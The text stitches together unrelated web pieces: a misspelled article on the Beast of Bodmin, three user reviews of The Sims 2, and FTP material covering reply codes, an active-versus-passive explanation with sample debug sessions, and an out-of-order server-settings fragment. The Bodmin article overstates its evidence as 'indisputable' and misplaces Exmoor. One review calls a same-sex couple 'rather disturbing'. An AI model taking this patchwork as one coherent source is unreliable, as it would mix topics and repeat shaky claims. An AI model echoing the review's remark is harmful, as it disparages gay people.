THE BEAST OF BODMIN: wheter it is a native cat, previously thought extinct, or an escaped exotic pet, The Beast of Bodmin is a creature that refuse to disappear. indeed, sightings of the panther-like creature continue apace and, unlike other mysteriuos beasts, modern technology is actually helping to prove its existence. Bodmin Moor is an area of National Park land in Cornwall, southwest England. Since 1983 there have been over sixty sightings of big cats in the area, and some experts suggest there may be a whole breeding population on the moors. In fact, one recent sighting was of a mother cat and her cub together. Despite wide-ranging testimonials from reliable witnesses, a British goverment report in 1995 concluded that there was no evidence of big cats on the moors.

However, since 1995 some quite startling, tangible evidence has been produced. A 20-second video released in July 1998 clearly shows a large black animal roaming the moor. Experts believe the footage is the best evidence yet to support the idea that big cats are living in the area. Many also suggest the beast may be a native species of cat which was thought to have become extinct over a hundred years ago. Around the time of the video release, Maurice Jenkins, a quarry wieghbridge worker was driving near Exmoor, near Bodmin, when he spotted an add beast at the side of the road. He trained his car headlights on the creatures. Jenkins said afterwards:

It was a big black pussycat. His eyes reflected in my headlights and I slowed down so I could get a better look and it sat watching me. It was the size of a collie dog with jet-black head and tail. He leapt away and made off into the fields.

Real biological evidence has also been found in recent years. A large skull with huge fangs
was found near the River Fowey on Bodmin Moor. The bones were sent to mammal specialists at the British Natural History Museum who, when they examined it, quickly realised that the skull did not belong to a creature normally found in the English countryside. Because of the size and position of the teeth, they also deduced that it was the head of a large cat.

In November 1999 a spate of farm animal mutilations on Bodmin Moor caused a hightech option to be introduced in finding the beast. When a calf and two sheep were attacked and torn apart by an unknown creature, a motion-activated infrared video camera was installed on the moor. Similarly, in January 2001, reserve volunteers from a nearby Royal Air Force base used state of-the-art night-vision military equipment to hunt for the creature. Rather than practise exercises against an imaginary foe, RAF commanders thought that it would be more interesting for the troops to look for the fabled Beast of Bodmin. Whether the RAF found any trace of the Beast is not known.

Certainly, the idea of strange big cats roaming Britain is not totally bizarre. In May 2001, a peculiar, vicious-looking wild animal was found in the garden of a house in Barnet, north London. A huge team of armed police, RSPCA inspectors and vets were needed to capture what turned out to be a lynx. A similar event happened in September 1998 when people living close by, in Potters Bar and South Mimms, were told to stay indoors whilst police looked for a large cat sighted there. Generally, however, such animals pose little threat to the human population.
Farmers in southwest England do not agree that these creatures are so benign, and many
sceptics believe the Beast of Bodmin is, if anything, an escaped foreign cat. A number go missing from zoos and wildlife parks each year, and Britain’s 1976 Dangerous Wild Animals Act made ownership of exotic big cats illegal. Some people believe that if such a pet were to escape from a private collection, its owner would be hesitant to report it missing. Whatever the truth about its origin, there is growing, indisputable evidence that a large, black, feral cat is stalking the land of Bodmin Moor.

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Spectacular!!

Well, right off the bat, The Sims 2 is a pretty solid game. It's pretty much the same basic outline of the first one but with a bunch of chunky little extras. All those extras make life much more exciting for everybody who plays it. Even though it might be too complicated for the younglings to really understand, but for everybody else OH BABY!! It's a way good simulation of life's many trials and benefits. For nerds who never will have a girlfriend, just make your gorgeous looking man in the game and woo the ladies around town! Yeah....good times....but I wouldn't recommend a lot of that kind of stuff to little kids without parental supervision. Some of it is inappropriate to WATCH OUT!!! But just stay away from that stuff and this game is definitely worth your time no matter what age you are.

Graphics 10/10
Excellent! Superb! Fantabulous! Pretty much everything in this game looks exactly how it should be. The character making system is Phenomenal! You can choose every single tiny little detail of your sims. I have yet to see a game that compares with the creation system of this game. The one measly flaw with it is that sometimes you can make the camera go in places where it's not really supposed too. But oh well, not like you can avoid that. So yeah. Pretty much pretty good. They also have good censorship in this one. Unlike the first one, you can't just type in a cheat and have your people walk around in the nude. So that makes it much more presentable for the younger kids. Another cool thing is that you can paint a still life of whatever you want! Just get your sim to be relatively creative and you can take a screen shot of whatever you please and you can paint it! Or you can take one of your own pictures and paint that! That cheat was found by Gsgreg. Let's give a round of applause for Gsgreg! So yeah. The graphics pretty much own, even with their few minor flaws.

Sound 7/10
Meh....this didn't impress me nearly as much as the graphics did. They did a good job of giving sounds for all the things that happen in the game, what with all the beeping and the chugging. I especially liked all the background music that you always have. While your playing the game, you can listen to your sim's radio and dance along with your sims! Or you can turn it off and listen to your sims oh-so-interesting conversations. You can also listen to your own MP3s with the help of an interesting cheat found by Brado. There's only one minor problem with it, and it's kind of an opinion thing, but I think the sims sound like losers. There. I said it. I'm sorry! Anyway...You can buy all sorts of different stereos to listen to your many amazing songs on, if your sims have the money. If they don't, then just buy a cheap little radio for like fifty bucks! Of course it's no where NEAR as much fun as thirty-odd stereos lining the walls with dozens of sims dancing crazily to the music! Yeah....Buckets o' fun until the end of our run! Dang...that's a sweet rhyme.....Ok sorry I'll stop.

Game Difficulty 9/10
Fancy! Much unlike the first game, it's actually possible to keep your sims happy! Just keep doing what they tell you they want to do, and you'll get through life just fine. However, ignore their every little whims and they shall hate you as bees hate leprechauns. Which they do. A TON! If you just keep working on your sims needs to get promoted in whichever career path they chose, you'll be a rich old person in no time! It's pretty dang easy for your people to fall in love, but watch out because two men can fall in love with each other and it's rather disturbing. Just make sure that you don't get too friendly with people from the opposite gender. It can get ugly. If they do happen to fall in love, just have them start arguing, because that always solves problems. Just ask a lawyer! Anyhoo...With a little patience you can conquer this game as well as any other with no stupid little gimmicks holding you back! Hallelujah! Because as we all know, stupid little gimmicks are what cause people to not achieve their dreams. Stupid little gimmicks....

Game Time 9/10
I swear this game has an energizer battery...it just keeps going and going and going.....You can keep playing this game for freaking ever! Even if you get all the jobs and buy everything your sim could ever desire, you could just go buy one of the many expansion packs and conquer that! Honestly people....this game has so many hours of game-play, you'd get bored before your sims would. But if you just want to beat it quickly for bragging rights, you can also do that in a small amount of time. You just make a small family and get their jobs up and hey presto! You're done. Party it up! Woot Woot! But yeah. The game time varies from short and pathetic to long and grueling hard labor! So whatever fits your fancy, do it and just have fun! Party it up!

Replay Value 9/10
Like I mentioned before, this game has many many expansions. I think they're like up to something around 12 or summat like that. Even if you only have the original, you can still try different combos of families and try to master them all. Go from happy-go-lucky single guy to a Big ol' happy family! It's like replaying games that have different difficulties. You beat easy, you would want to go to hard, right? Correctomundo! Unless you just want to beat it just for the sake of saying that you beat it, but of course that's no fun! It's also a lot of fun to just do that same family set up over and over again until you have it completely mastered. Then it's tons of fun to get totally rich and blow it on thirty-odd stereo systems lining the walls and have dozens of sims dancing crazily to the music. Yeah...I know what I'm doing on Friday night!

So pretty much this game owns. There aren't a lot of flaws in it, and the flaws that are in it are pretty small so people usually won't notice unless they're seeking them out. Any regular person could spend hours a playing this baby. It's a lot cooler than the first one, but also a lot more complicated. If you're a simple minded person who likes the simple stuff, I would probably say stick with numero uno. Which means stick with the first sims for all you non Spanish speaking people. Nevermind. I don't speak Spanish either. So yeah...buy this game, and it will make your life complete! If bored, buy it now. If sad, buy it now. If angry, buy it now. And so on and so forth.
Once again, this is Sebbisismo, your home town hero, King of the Britains! Well not really...but anyway, hope you liked my review! Ok bye!

Reviewer's Score: 10/10, Originally Posted: 03/17/08

Game Release: The Sims 2 (US, 09/14/04)

A great, although repetitive, life simulation

I remember when The Sims came out some years ago. To put it bluntly, it looked awesome; plain and simple. And it was. Of course the Sims franchise is renowned for its slightly parodied simulation of everyday life. However, it also showed the world that a company could release a load of expansions that really enhanced a game. Over the last few years, there have been countless of Sims-clone, though none of them achieved the famous status of Maxis's creation.

The Sims 2 stays true to the original game, while improving it in many ways. The developers also realised that they had to include some of the features introduced in the first game's expansions right away to keep people interested.

When faced with a simulation game however, it is important to see if the game is truly better than the original. This should be, in my opinion, the heart of any Sims 2 review. As such, I will try to outline the strengths and weaknesses of the game while comparing it to its predecessor, as well as keeping it understandable for new players.

Gameplay 8

Ever heard of the famous SimCity franchise? You know the games in which you build and manage a city? The Sims is similar; only this time, you construct and manage a neighbourhood. The basic concept of the game is quite simple : you create families of digital beings called "sims" and you directly control them during all their life. Multiple families will make a neighbourhood come alive and you can have your families interact with each others.

Of course, the term "family" is quite large. One may choose to create a couple, a single man or a couple with four children. You can technically do anything you want.

Sims have needs much like ours. To keep them in a good mood, you must make sure these needs are fulfilled. As such, you need to make them eat to make sure they don't starve, they need to sleep to recover their energy and comfort, they need to use the toilet and the shower to maintain a reasonable amount of hygiene and, of course, spend some time playing or sitting in front of the TV to have some fun. A good mood will improved the sim's behaviour with others and at work; it is easy to understand why it is crucial to tend to their needs.

Sims have a personality. I like to call these "attributes", perhaps in tribute to hours of DnD gaming. When you create them, you have to choose whether they are neat or sloppy, shy or outgoing, serious or playful, etc. The nice thing here is that both sides are viable. For instance, it is perfectly fine, just as in real life, to be a serious sim and enjoy reading better than playing basketball.

Being a life simulation, it is easy to guess that money will have an important part. In the game, money is measured in Simoleons (which are essentially the same thing as dollars, euros, pounds, or whatever your currency is). To earn money, you need to work. Whether it is a job (the most obvious way of making money, more on this later) or painting at home the entire day, you will need to get some money sooner or later. Money is, of course, used to buy objects (from a huge TV to a toilet), to build your house (building walls and installing carpets costs some money, you know) and to buy food. Also, it is crucial to have a cash flow if you want to hire some services, such as a maid or a gardener.

Another important aspect are skills. You need skills. Using an oven without cooking skill will quite possibly resolve in a fire. A weak sim will loose every fight. A creative sim can write books that sell for quite a lot of money. Most importantly, you need skills to move up in a career.

While the game focuses entirely on the outside of work, everyday life of your Sims, jobs still have a great amount of importance (and take a lot of your time, too). There are ten career paths, each with ten (or so) possible level. In order to move up in a specific career path, you need skills, friends and a good mood, which, in my opinion, does somewhat represent what you need in real life. Of course it is ridiculously easy to move up the ladder (becoming a surgeon in a couple of days is no small feat!). This brings me to the first (so far) problem of the game.

It's easy to live. Way too easy. Even the lowest paying jobs will net you enough money to do what you want. Taxes are not particularly high, and buying food is a joke. While this is meant to encourage trying different styles of play, while keeping the game accessible to everyone, I think it should be a little harder to keep your sims alive i.e. it's fine to stay at the first level of a career if you are extra careful with the way you spend your money. Basically, adding a cost for, say, electricity might balance things up.

So far, everything I discussed could be applied to both Sims 1 and Sims 2. Let's get going with the new features.

There are two huge new features in The Sims 2. First are the aspirations, second are the genetic aspect of the game and the ability to create entire generations of sims spawned from the same Mr and Mrs Sim.

Aspirations are a great thing. Since managing the mood and needs is so easy, Maxis needed to create something that would throw some challenge. This is where the wants and fears (not to be confused with needs) come in play. When you create a sim, you have to choose an aspiration for him. Choose between Popularity, Romance, Family, Knowledge and Fortune. The aspiration will determine, along with personality, what the typical wants and fears of your sim will be like. As such, my Knowledge and neat sim wants to raise his skills, but fears to use a public toilet. It is important to note that wants and fears are also influenced by the way your sim's life evolves. Therefore, a Knowledge sim is not a typical nerd; he will want to share a kiss with his loved one, or have a chat with his best friend. In the same line of idea, a Romance or Fortune sim might want to raise his or her skills. As you satisfy wants, you get aspiration points that can be used to buy specific objects. Also, if you raise your aspiration meter to maximum, you gain a perfect mood that lasts for a specific time. Likewise, if it drops too low, your sim will be depressed and will need guidance. Aspirations are an extremely nice new feature, in my opinion.

In fact, since aspirations are so important, I thought it would be a good idea to comment on each one of them.

The Popularity aspiration is all about having lots of friends and having parties. The wants associated with this aspiration are therefore quite easy to achieve, since they usually involve talking with Mr X, telling a joke to Mrs Y or meeting new people. For these reasons, it is very easy to get the platinum mood with this aspiration.

The Romance aspiration is obviously about doing some serious kissing. This aspiration really encourages your sim to kiss anyone, cheat on their loved ones and have as many lovers as possible. Might be hard to manage, since it's like an extreme version of the Popularity aspiration.

Family is a hard one too. Sims following this aspiration will want to have lots of children, and show them how to walk etc. The way I see it, this aspiration is perfect for a sim who stays at home, while the husband or wife makes the money by working.

Fortune is all about money. Those sims will want to make money, buy objects costing a lot, selling novels that give a lot of money and fear the repo-man. Quite easy to manage as long as you have some money to buy objects they want.

Knowledge is my personal favourite. These sims will want to improve their skills (and eventually maximise them) and learn how to do things. They also sport a darker side, loving to see ghosts and aliens. However, as time passes, they tend to develop rather social wants, wanting to speak to other sims and kissing their beloved. Not hard, though not easy either, since it's touchy to raise skills once they are high.

Overall, I'd say the aspirations are pretty balanced for any style of play.

The other big chunk is that sims now age. A child will become a teen, who will become an adult, who will become an elder. Eventually, sims will die. The thing is, the game really focuses on generations. While it is a good concept, it needed something to keep it interesting. This is where the genetics come.

Sims have genes. Mr and Mrs Sim will therefore have children that somewhat look like them. Having studied in health sciences myself, I must say that at least the basics of genetics are in (two blue-eyed parents can't have a brown-eyed child, etc.; as far as I now, it's like this in the game too). Of course this is a much welcomed improvement, although it was somewhat necessary to make the new generation feature interesting.

There is a lot going on in The Sims 2, and I simply can't be sure I covered everything. I do think that I have discussed the important features, but I will surely update this review if I find I forgot something important.

So, why do I give gameplay an eight? Well, there's the little gameplay imbalance I mentioned earlier (the game being somewhat easy) to start with. The other beef I have with the game is that it's not that much different from The Sims 1. While the new generation and aspiration features really set the game apart, I found that I could do exactly the same thing in both games and achieve similar, if not identical, results. The fact is, gaining aspiration points by completing a sim's wants is not all that special. Generally, you'll just complete wants by playing casually. This resolves in a somewhat repetitive gameplay, in my opinion. After playing Sims 2 a couple of days, and un-glueing the generation features off of my eyes, I realised that the house I had built is surprisingly identical to the ones I used to build in Sims 1. Of course in future games I messed out with all the new building tools, but what I'm saying is that for someone who has played Sims 1 a lot (which is my case; by "al lot" I really mean it), the game might be repetitive a little. Once in a while, I think I'm playing Sims 1 with better graphics.

In my opinion, what really lacks in the wonderful world of Sims 2 is the ability to somewhat control your sims at their job. I realise this would be an extremely time consuming thing to do (since there are ten careers with ten levels each) but it would really set the game apart. Maxis already did it in the expansion "Superstar" in Sims 1, and something similar with each job would be truly wonderful. For example, the Medicine career would have a hospital with various objects that could be used once your sim has achieved a certain status (emergency beds or radiology for a specialist, operation room for surgeons, etc.).

Story N/A

Whether the story is good or not entirely depends on you (and your sims).

Video 10

I find it hard to find anything to criticise here. In my opinion, the graphics are perfect. Everything is perfectly modelled and skinned. If you enter a house using the free camera view, everything really looks real (at least with a decent computer).

Animations are great too. I was surprised to see that TVs and computers are also animated; that's a nice little touch. Of course interactions between sims are also flawless, from a fight to a cuddle on the crouch.

I can't say anything else here, except that the graphics are absolutely fabulous, probably exceeding by far today's gamers's expectations.

Sound 9

Well, there's not much in the sound department in this game. I give it a nine though since it fits the game very well. Every object susceptible of making a sound has one, sims perfectly speak their usual language (which I forgot the proper name) and there's always a nice, friendly music in the buy and build modes.

Not much, I hear you ask? Well, while music is extremely important for most games, The Sims 2 is a life simulation. It wouldn't make much sense to have a background music all the time. Actually, if you or your sims are music-oriented, then you can just buy a stereo system for your sims to mess with.

Replay Value 8

There is simply much to do in this game, whether it's playing through 15 generations of a same family, filling neighbourhoods of related sims or spending evenings designing houses, Sims 2 should keep everyone interested for quite some time. Add to this the fact that sims can be so different from each others and you have quite some replay-value.

I give it an eight in relation to the problems I mentioned in the gameplay section. I have no doubt that Sims 2 by itself will become repetitive sooner or later for most players. However, that's why Maxis releases tons of expansions. As of the writing of this review, the second pack is to be released in about a month.

Conclusion

Pros
-High-quality and well-made life simulation
-Parodied, yet somewhat accurate, view of everyday life
-Completely customisable characters and houses
-High-quality graphics
-Many interesting and new features, making the game unique
Cons
-Somewhat repetitive for dedicated Sims 1 fans
-Inability to controls sims at work, or to visit other sims's houses
-High-end computer required to get the most out of the game

The Sims 2 is a very strong game that expends on Sims 1's revolutionary concepts. While it might look somewhat repetitive for players who spent a lot of their gaming time with Sims 1, the game does leave the door open for many improvements that will undoubtedly come with all the expansion packs expected by the public.

In my opinion, Maxis should only learn that people might want a little more, whether in expansions or the next game in the series, such as the ability to do something more than hanging out in your house or at community lots. I am, of course, speaking about controlling sims at work, which is probably the only missing aspect that keeps the Sims franchise away from the "Near Perfect" or "Flawless" title.

Reviewer's Score: 8/10, Originally Posted: 08/22/05

Awesome Game!

PROS: Much-improved character creation; enhanced AI; new aspiration meter works well; great graphics; good music; addictive; enough new stuff to keep you entertained for quite a while

CONS: Pathfinding can be a bit painful at times; item selection not big enough

Ah, The Sims. Likely one of the most original games ever created. Maxis clearly had a winner with the first- and all of its expansion packs- and decided to make The Sims 2.

The Sims 2 takes place 25 years after the original, and the only characters from the first game to be available are Mortimer and Cassandra Goth. Bella has vanished and Mortimer is now mayor of Pleasantview, one of the game's three playable neighborhoods. Each neighborhood already has a handful of Sims living in it, so you can go ahead and play out their stories before creating your own. There are also "stray" people that live elsewhere, something that the first game was sorely lacking. If you start an empty neighborhood, which you can, these people will show up to be your friends. However, you can't play as them because the game wants you to create your own sims.

Character creation in this game leaves the original game's in the dust. You no longer just choose a head- you get to make them. There are several hairstyles for each men and women available in only four colors. This isn't much, but it's enough. But the possibilities of doing faces are endless. You can even create yourself, your parents, your mate, or your siblings. You can even create someone you hate and make them suffer. Maxis and EA clearly spent a good amount of time on this and it shows. You also have a plethora of outfits to choose from, and you can even pick a top and a bottom. There is also a randomization feature, which is helpful if you need a Sim quick. You'll have to change the clothing, which comes in several categories- everyday, formal, undies, swimsuit, pajamas, and athletic- to match what you want, but it's more efficient if you want to get to the core of the game.

Character creation is like a game on its own here, but it's not what the game is about. Like in the original Sims, you get to build a house and act like God. Will Wright (who created The Sims) thinks that he's God so he makes several games based upon it (Wright's latest brainchild, SPORE, is coming out next year). You can boss around your sims all day. One of the new things is that you have some control over what they do at work, beyond telling them which job to take. Occasionally, a window will pop up on the screen giving you two options. One option will get you skill points, money, or a promotion. The other will fine you, dock skill points, or get you demoted or even fired. It's risky but you can always quit without saving if the results are too disastrous for you to continue. There are 10 different career tracks- Athletic, Business, Criminal, Culinary, Law Enforcement, Medical, Military, Politics, Science, and Slacker- all of which were in the original (with the expansions), but the new option windows will make it seem fresh. And you never know what the game will throw at you, so be careful.

And in this installment, your sims age with time. They grow old and die. They start out as infants, move onto toddlers, then kids, then teenagers, then adults, and finally elders. Another new feature is the Aspiration meter. You can choose between five different aspirations. Toddlers and kids all share growing up as an aspiration, but once a sim is a teenager, then you can choose between the main five: Knowledge, Family, Romance, Money/Fortune, Popularity. How well you fulfill your sims' aspirations will affect their lives. Make sure that you try to fill the meter, which is done by fulfilling one of four aspirations that are based on the main aspiration, before a sim evolves into their next stage. Certain aspirations are worth more points than others, usually based on difficulty or importance. Sims that grow up with a full aspiration meter will be more successful than those that grow up with a less full aspiration meter. These aspirations will usually involve talking to somebody, making a friend, buying something, going to work, life achievements (first kiss, have a baby, get married), etc. It varies depending on the overall aspiration. There are also fears that will decrease your aspiration meter. These will usually involve robbers, fires, roaches, death, and the like. People with the Romance aspiration will want to get in as many people's pants as possible, so getting them engaged will often make them lose points. If they're about to grow up with their aspiration meter in the red, prepare to be feeding them someone else's Elixir of Life. This special elixir is a useful thing that you'll get out of these aspirations. You can use the points you gained to buy stuff on the menu for that specific sim, and the thing you get will be accessible to all. But if their aspiration meter is low, the item will often have negative effects.

That's not very easy to explain. I tried my best.

The AI has also been enhanced since the first game, too. Your sims can easily fend for themselves. If they're hungry, they'll go and cook something (there's a variety of foods to choose from this time). If they need a bath, they'll take one. If they need fun, they'll find some way to entertain themselves. They know what they're doing, and you no longer have to play God the whole time, making you have more time to manage the other sims in your house. But, of course, if you have six or more sims, life at the house can get chaotic.

Of course, the same style of music as the original Sims is present here, some the new tunes being variations of the old. These are still fun to hear and add the necessary feel to the game. The graphics got an upgrade to a 3-D engine and look very detailed. This makes it much easier to tell your sims apart.

On the downside, pathfinding can still cause problems at times. Since the game is in 3-D, sometimes you can't tell exactly where something is positioned and your sims can't get to it. The game does a good job in specifying which direction an item should be placed, but you can't place them diagonally (you can place doors and windows on diagonal walls). The selection of items is sufficient, but more is needed because the original Sims game had more after its first expansion pack, Livin' Large. You'll be using the exact same items and decor in every house you build, because some of the wall coverings and floors aren't very pretty.

But this game boasts all the features of the original and then some. There are neighborhood lots like in Unleashed, although no pets other than the fish tank, and parties like in House Party. In addition, the maid, the mailman, the pizza person, the paperboy/girl, and any other serviceperson (there are a few different of each) are now sims as well and you can interact with them. You can even make friends with them, but you'll have to call the repair hotline if you need your dishwasher to be repaired. Also, meals are free from the fridge but you'll have to restock by ordering online or by phone or taking a taxi to Marvin's Mediocre Market (I built that place). You can buy new duds for your sims (instead of them having everything in the dresser) at a specific community lot, and your sims (but not you) can play actual EA games on the computer and game console (SSX3, The Sims [appropriately] and Sim City: Rush Hour). Kids and teens have homework like in real life, although I don't want to go there.

The Sims was a remarkable achievement, and The Sims 2 is an even bigger one. It took the first game and transformed it into something that's more fun and different every time. It's a more accurate simulation of real life than the first- you can have toddlers and experience how wild life is having one. It's just that the item selection isn't what it could be, but so what. This game will keep you occupied for quite a while- it's quite addictive. Having your sims meet new people and the different personalities colliding is much more involving than the first game. Don't get me wrong- The Sims is a great game. But The Sims 2 is a better one. It's well worth the what you have to pay. This game will keep you entertained for months. Go out and get it if your computer can handle it. A 9 out of 10.

Reviewer's Score: 9/10, Originally Posted: 07/20/06

Everything About FTP - Part 3

error messages:

110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm Where yyyy is User-process data stream marker, and mmmm server's equivalent marker (note the spaces between markers and "=").
120 Service ready in nnn minutes.
125 Data connection already open; transfer starting.
150 File status okay; about to open data connection.
200 Command okay.
202 Command not implemented, superfluous at this site.
211 System status, or system help reply.
212 Directory status.
213 File status.
214 Help message. On how to use the server or the meaning of a particular non-standard command. This reply is useful only to the human user.
215 NAME system type. Where NAME is an official system name from the list in the Assigned Numbers document.
220 Service ready for new user.
221 Service closing control connection. Logged out if appropriate.
225 Data connection open; no transfer in progress.
226 Closing data connection. Requested file action successful (for example, file transfer or file abort).
227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).
230 User logged in, proceed.
250 Requested file action okay, completed.
257 "PATHNAME" created.
331 User name okay, need password.
332 Need account for login.
350 Requested file action pending further information.
421 Too many users logged to the same account
425 Can't open data connection.
426 Connection closed; transfer aborted.
450 Requested file action not taken. File unavailable (e.g., file busy).
451 Requested action aborted: local error in processing.
452 Requested action not taken. Insufficient storage space in system.
500 Syntax error, command unrecognized. This may include errors such as command line too long.
501 Syntax error in parameters or arguments.
502 Command not implemented.
503 Bad sequence of commands.
504 Command not implemented for that parameter.
530 Not logged in.
532 Need account for storing files.
550 Requested action not taken. File unavailable (e.g., file not found, no access).
551 Requested action aborted: page type unknown.
552 Requested file action aborted. Exceeded storage allocation (for current directory or dataset).
553 Requested action not taken. File name not allowed.


Active FTP vs. Passive FTP, a Definitive Explanation

Introduction
One of the most commonly seen questions when dealing with firewalls and other Internet connectivity issues is the difference between active and passive FTP and how best to support either or both of them. Hopefully the following text will help to clear up some of the confusion over how to support FTP in a firewalled environment.

This may not be the definitive explanation, as the title claims, however, I've heard enough good feedback and seen this document linked in enough places to know that quite a few people have found it to be useful. I am always looking for ways to improve things though, and if you find something that is not quite clear or needs more explanation, please let me know! Recent additions to this document include the examples of both active and passive command line FTP sessions. These session examples should help make things a bit clearer. They also provide a nice picture into what goes on behind the scenes during an FTP session. Now, on to the information...



The Basics
FTP is a TCP based service exclusively. There is no UDP component to FTP. FTP is an unusual service in that it utilizes two ports, a 'data' port and a 'command' port (also known as the control port). Traditionally these are port 21 for the command port and port 20 for the data port. The confusion begins however, when we find that depending on the mode, the data port is not always on port 20.



Active FTP
In active mode FTP the client connects from a random unprivileged port (N > 1024) to the FTP server's command port, port 21. Then, the client starts listening to port N+1 and sends the FTP command PORT N+1 to the FTP server. The server will then connect back to the client's specified data port from its local data port, which is port 20.

From the server-side firewall's standpoint, to support active mode FTP the following communication channels need to be opened:

FTP server's port 21 from anywhere (Client initiates connection)
FTP server's port 21 to ports > 1024 (Server responds to client's control port)
FTP server's port 20 to ports > 1024 (Server initiates data connection to client's data port)
FTP server's port 20 from ports > 1024 (Client sends ACKs to server's data port)


In step 1, the client's command port contacts the server's command port and sends the command PORT 1027. The server then sends an ACK back to the client's command port in step 2. In step 3 the server initiates a connection on its local data port to the data port the client specified earlier. Finally, the client sends an ACK back as shown in step 4.

The main problem with active mode FTP actually falls on the client side. The FTP client doesn't make the actual connection to the data port of the server--it simply tells the server what port it is listening on and the server connects back to the specified port on the client. From the client side firewall this appears to be an outside system initiating a connection to an internal client--something that is usually blocked.



Active FTP Example
Below is an actual example of an active FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.

There are a few interesting things to consider about this dialog. Notice that when the PORT command is issued, it specifies a port on the client (192.168.150.80) system, rather than the server. We will see the opposite behavior when we use passive FTP. While we are on the subject, a quick note about the format of the PORT command. As you can see in the example below it is formatted as a series of six numbers separated by commas. The first four octets are the IP address while the second two octets comprise the port that will be used for the data connection. To find the actual port multiply the fifth octet by 256 and then add the sixth octet to the total. Thus in the example below the port number is ( (14*256) + 178), or 3762. A quick check with netstat should confirm this information.

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PORT 192,168,150,80,14,178
200 PORT command successful.
---> LIST
150 Opening ASCII mode data connection for file list.
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.


Passive FTP
In order to resolve the issue of the server initiating the connection to the client a different method for FTP connections was developed. This was known as passive mode, or PASV, after the command used by the client to tell the server it is in passive mode.

In passive mode FTP the client initiates both connections to the server, solving the problem of firewalls filtering the incoming data port connection to the client from the server. When opening an FTP connection, the client opens two random unprivileged ports locally (N > 1024 and N+1). The first port contacts the server on port 21, but instead of then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command. The result of this is that the server then opens a random unprivileged port (P > 1024) and sends the PORT P command back to the client. The client then initiates the connection from port N+1 to port P on the server to transfer data.

From the server-side firewall's standpoint, to support passive mode FTP the following communication channels need to be opened:

FTP server's port 21 from anywhere (Client initiates connection)
FTP server's port 21 to ports > 1024 (Server responds to client's control port)
FTP server's ports > 1024 from anywhere (Client initiates data connection to random port specified by server)
FTP server's ports > 1024 to remote ports > 1024 (Server sends ACKs (and data) to client's data port)



In step 1, the client contacts the server on the command port and issues the PASV command. The server then replies in step 2 with PORT 2024, telling the client which port it is listening to for the data connection. In step 3 the client then initiates the data connection from its data port to the specified server data port. Finally, the server sends back an ACK in step 4 to the client's data port.

While passive mode FTP solves many of the problems from the client side, it opens up a whole range of problems on the server side. The biggest issue is the need to allow any remote connection to high numbered ports on the server. Fortunately, many FTP daemons, including the popular WU-FTPD allow the administrator to specify a range of ports which the FTP server will use. See Appendix 1 for more information.

The second issue involves supporting and troubleshooting clients which do (or do not) support passive mode. As an example, the command line FTP utility provided with Solaris does not support passive mode, necessitating a third-party FTP client, such as ncftp.

With the massive popularity of the World Wide Web, many people prefer to use their web browser as an FTP client. Most browsers only support passive mode when accessing ftp:// URLs. This can either be good or bad depending on what the servers and firewalls are configured to support.



Passive FTP Example
Below is an actual example of a passive FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.

Notice the difference in the PORT command in this example as opposed to the active FTP example. Here, we see a port being opened on the server (192.168.150.90) system, rather than the client. See the discussion about the format of the PORT command above, in the Active FTP Example section.

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PASV
227 Entering Passive Mode (192,168,150,90,195,149).
---> LIST
150 Opening ASCII mode data connection for file list
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.


Summary
The following chart should help admins remember how each FTP mode works:

Active FTP :
command : client >1024 -> server 21
data : client >1024 <- server 20

Passive FTP :
command : client >1024 -> server 21
data : client >1024 -> server >1024

A quick summary of the pros and cons of active vs. passive FTP is also in order:

Active FTP is beneficial to the FTP server admin, but detrimental to the client side admin. The FTP server attempts to make connections to random high ports on the client, which would almost certainly be blocked by a firewall on the client side. Passive FTP is beneficial to the client, but detrimental to the FTP server admin. The client will make both connections to the server, but one of them will be to a random high port, which would almost certainly be blocked by a firewall on the server side.

Luckily, there is somewhat of a compromise. Since admins running FTP servers will need to make their servers accessible to the greatest number of clients, they will almost certainly need to support passive FTP. The exposure of high level ports on the server can be minimized by specifying a limited port range for the FTP server to use. Thus, everything except for this range of ports can be firewalled on the server side. While this doesn't eliminate all risk to the server, it decreases it tremendously.

article FTP Part 1 | FTP Part 2

Everything About FTP - Part 2

To protect your server, you should check 'login check' and 'password check', 'Show relative path (a must!)', and any other options you feel you'll need. After doing so, click the 'advanced' text in the left column. You should then leave the buffer size on the default (unless of course you know what you're doing ), and then allow the type of ftp you want.

Uploading and downloading is usually good, but it's up to you if you want to allow uploads and/or downloads. For the server priority, that will determine how much conventional memory will be used and how much 'effort' will go into making your server run smoothly.

